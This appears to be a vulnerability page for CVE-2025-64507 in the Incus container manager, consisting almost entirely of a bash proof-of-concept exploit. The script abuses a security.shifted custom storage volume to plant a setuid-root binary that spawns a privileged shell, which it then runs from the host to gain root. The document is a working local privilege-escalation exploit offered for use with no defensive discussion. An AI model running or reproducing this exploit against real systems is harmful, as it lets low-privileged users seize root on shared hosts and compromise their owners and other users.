CVE-2025-64507 Incus容器安全.shifted属性权限提升漏洞

#!/bin/bash # CVE-2025-64507 PoC - Incus Local Privilege Escalation # Prerequisites: User must be in 'incus' group and have access to incus-user set -e INCUS_IMAGE="ubuntu:22.04" VOLUME_NAME="exploit-volume-$$" CONTAINER_NAME="privesc-container-$$" # Step 1: Create custom storage volume with security.shifted=true echo "[+] Creating custom storage volume with security.shifted=true..." lxc storage volume create default $VOLUME_NAME --type custom security.shifted=true 2>/dev/null || true # Step 2: Launch container and attach the volume echo "[+] Launching container..." lxc launch $INCUS_IMAGE $CONTAINER_NAME # Step 3: Attach the volume to the container echo "[+] Attaching custom volume to container..." lxc config device add $CONTAINER_NAME exploit-volume disk source=$VOLUME_NAME path=/exploit # Step 4: Create setuid binary inside container echo "[+] Creating setuid binary inside container..." lxc exec $CONTAINER_NAME -- bash -c ' cat > /exploit/privesc.c << "EOF" #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash -p"); return 0; } EOF gcc /exploit/privesc.c -o /exploit/privesc chmod 4755 /exploit/privesc ' # Step 5: Execute setuid binary from host to gain root echo "[+] Executing setuid binary to gain root privileges..." echo "[!] If exploitation successful, you should now have root shell" $HOME/.local/share/incus/storage-pools/default/$VOLUME_NAME/privesc || \ /var/lib/incus/storage-pools/default/$VOLUME_NAME/privesc || \ echo "[!] Manual execution required from host" # Cleanup echo "[+] Cleaning up..." lxc stop $CONTAINER_NAME 2>/dev/null || true lxc delete $CONTAINER_NAME 2>/dev/null || true lxc storage volume delete default $VOLUME_NAME 2>/dev/null || true